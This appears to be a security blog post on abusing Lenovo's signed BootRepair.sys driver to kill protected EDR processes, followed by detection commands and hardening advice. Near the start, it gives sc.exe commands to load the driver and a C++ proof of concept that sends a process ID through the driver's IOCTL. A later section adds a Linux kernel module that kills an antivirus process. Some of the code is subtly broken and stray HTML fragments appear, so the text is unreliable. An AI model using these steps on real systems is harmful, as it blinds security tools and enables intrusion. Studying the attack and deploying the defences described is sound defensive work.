Listen to this Post
Introduction
The Bring Your Own Vulnerable Driver (BYOVD) attack vector leverages signed but flawed kernel drivers to disable security protections from within. The latest discovery reveals how Lenovo’s `BootRepair.sys` driver, ironically designed to fix boot issues, can be weaponized to terminate any process—including protected EDR services—using a single IOCTL.
Learning Objectives
- Understand how the Lenovo BootRepair.sys driver’s design flaws enable unprivileged process termination.
- Learn to identify, detect, and block vulnerable signed drivers using Microsoft’s native tooling and custom commands.
- Master practical BYOVD mitigation strategies, from enabling HVCI to deploying WDAC block policies.
You Should Know
1. Anatomy of the Attack: Reverse Engineering BootRepair.sys
Security researcher Jehad Abu Dagga discovered that `BootRepair.sys` (SHA-256: 5ab36c116767eaae53a466fbc2dae7cfd608ed77721f65e83312037fbd57c946), a driver shipped with Lenovo PC Manager, exposes a device object `\\.\BootRepair` with no DACL restrictions. The driver accepts a single IOCTL code `0x222014` that takes a 4‑byte process ID and calls `ZwTerminateProcess` in the kernel. No access checks, no caller validation—any process that can open a handle to this device can kill any other process, including protected EDR sensors.
Attack Scenarios:
- Driver already present: A low‑privileged user interacts directly with the existing driver to terminate security tools.
- BYOVD deployment: If absent, the attacker loads the signed driver using `sc.exe` and then abuses it.
Step‑by‑step weaponization example:
1. Load the vulnerable driver (BYOVD)
sc.exe create PhantomKiller binPath="C:\Path\to\BootRepair.sys" type=kernel
sc.exe start PhantomKiller
<ol>
<li>Use a simple C++ POC to open the device and send the target PID
include <windows.h>
include <winioctl.h>
HANDLE hDevice = CreateFile("\\.\BootRepair", GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
DWORD pid = 1234; // target process ID
DeviceIoControl(hDevice, 0x222014, &pid, sizeof(pid), NULL, 0, &bytesReturned, NULL);</p></li>
<li><p>Terminate the EDR process (e.g., CrowdStrike Falcon)
PhantomKiller.exe 5678
This minimal code terminates any process—including PPL‑protected security tools—at kernel level. The driver was completely undetected on VirusTotal (0/71) at the time of discovery.
2. Detection and Monitoring: Spotting the Silent Killer
Since the driver is signed and initially trusted, traditional signature‑based detection fails. Organizations must shift to behavioral and event‑based monitoring.
What to Monitor:
- Driver load events: Sysmon event ID 6 records every driver load.
- Service creation: Use `sc.exe query` or audit `HKLM\SYSTEM\CurrentControlSet\Services` for unexpected kernel services.
- Suspicious process termination: Alert when security‑critical processes exit abnormally.
- Handle to
\\.\BootRepair: Any attempt to open this device should trigger an immediate alert.
Practical detection commands:
List all loaded drivers and search for BootRepair.sys
driverquery /v | findstr /i "bootrepair"
Check for the device object existence (requires admin)
winobj.exe \Device\BootRepair
Monitor live driver loads with PowerShell (requires Sysmon)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=6} |
Where-Object { $_.Message -like "BootRepair.sys" }
Audit service entries in registry
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" |
Where-Object { $_.GetValue("ImagePath") -like "BootRepair.sys" }
3. Hardening Windows Against BYOVD with Driver Blocklists
Microsoft provides a Vulnerable Driver Blocklist that prevents known malicious drivers from loading. However, it is enforced only when Memory Integrity (HVCI) or Smart App Control is enabled. For enterprise environments, Windows Defender Application Control (WDAC) offers granular control.
Step‑by‑step enablement:
- Enable HVCI and the blocklist (Windows 11 22H2+):
– Press `Win + I` → Privacy & security → Windows Security → Device security → Core isolation details.
– Toggle Memory Integrity ON→ restart.
2. Verify the blocklist is active:
Check HVCI status
Get-ComputerInfo -Property "DeviceGuard"
Confirm blocklist events (Event ID 3023)
Get-WinEvent -FilterHashtable @{LogName='System'; ID=3023} | Select-Object -First 5
- Add custom block rules via WDAC (recommended for enterprises):
Download Microsoft’s recommended blocklist Invoke-WebRequest -Uri "https://aka.ms/WDACDriverBlockRules" -OutFile "DriverBlockRules.xml" Convert to binary policy ConvertFrom-CIPolicy -XmlFilePath "DriverBlockRules.xml" -BinaryFilePath "DriverBlockRules.bin" Deploy via Group Policy or copy to EFI partition Copy-Item "DriverBlockRules.bin" "C:\EFI\Microsoft\Boot\"
-
Linux Parallels: Driver Signing and Kernel Module Risks
Although BYOVD is Windows‑centric, Linux faces similar risks with unsigned kernel modules. The `modprobe` framework allows loading any module, and a maliciously crafted module can also kill processes or disable security controls.
Example of a malicious kernel module (for educational use):
include <linux/module.h>
include <linux/kernel.h>
include <linux/sched/signal.h>
static int __init malicious_init(void) {
struct task_struct task;
for_each_process(task) {
if (strcmp(task->comm, "clamd") == 0) { // Target AV process
send_sig(SIGKILL, task, 0);
printk(KERN_INFO "Killed %s\n", task->comm);
}
}
return 0;
}
module_init(malicious_init);
Mitigation: Enforce kernel module signing (CONFIG_MODULE_SIG_FORCE) and use `lockdown` to prohibit module loading after boot.
- Advanced EDR Evasion and Mitigation: A Layered Defense Strategy
BYOVD attacks undermine a core trust assumption—that signed code is safe. Ransomware groups like Qilin and Warlock now rotate through a curated list of vulnerable drivers, tracking Microsoft’s blocklist updates to stay ahead. Therefore, blocklists alone are insufficient.
Comprehensive mitigation stack:
- Enable HVCI + Smart App Control on all Windows 11 endpoints.
- Deploy WDAC with Microsoft’s recommended blocklist and custom allow rules for approved drivers.
- Monitor driver loads via Sysmon event ID 6 and integrate into SIEM.
- Adopt endpoint detection that monitors process termination patterns, not just signatures.
- Apply principle of least privilege to prevent driver installation by unprivileged users.
- Regularly audit loaded drivers against a trusted inventory.
What Undercode Say
- Signed drivers are not inherently safe; trust must be continuously validated with behavioral monitoring and kernel‑level integrity checks.
- The security industry must stop relying solely on signature whitelists and instead enforce runtime restrictions on kernel code execution.
Analysis: This vulnerability exposes a fundamental design flaw in Windows driver trust model. The ease of exploitation—opening a device and sending an IOCTL—means even commodity malware can adopt BYOVD. While Microsoft’s Vulnerable Driver Blocklist is a step forward, its dependence on HVCI and infrequent updates leaves many enterprises exposed. The only durable solution is a shift toward zero‑trust kernel integrity: treat every driver as potentially hostile and enforce fine‑grained capabilities.
Prediction
As attackers continue to weaponize signed drivers, we will see an arms race between Microsoft’s blocklist updates and adversaries’ driver discovery pipelines. Within 12 months, we expect Microsoft to introduce mandatory driver attestation and a centralized, real‑time driver reputation service, similar to SmartScreen but for kernel code. Until then, organizations must assume that any signed driver can be exploited and layer detection and prevention accordingly.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Cybersecuritynews Share – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
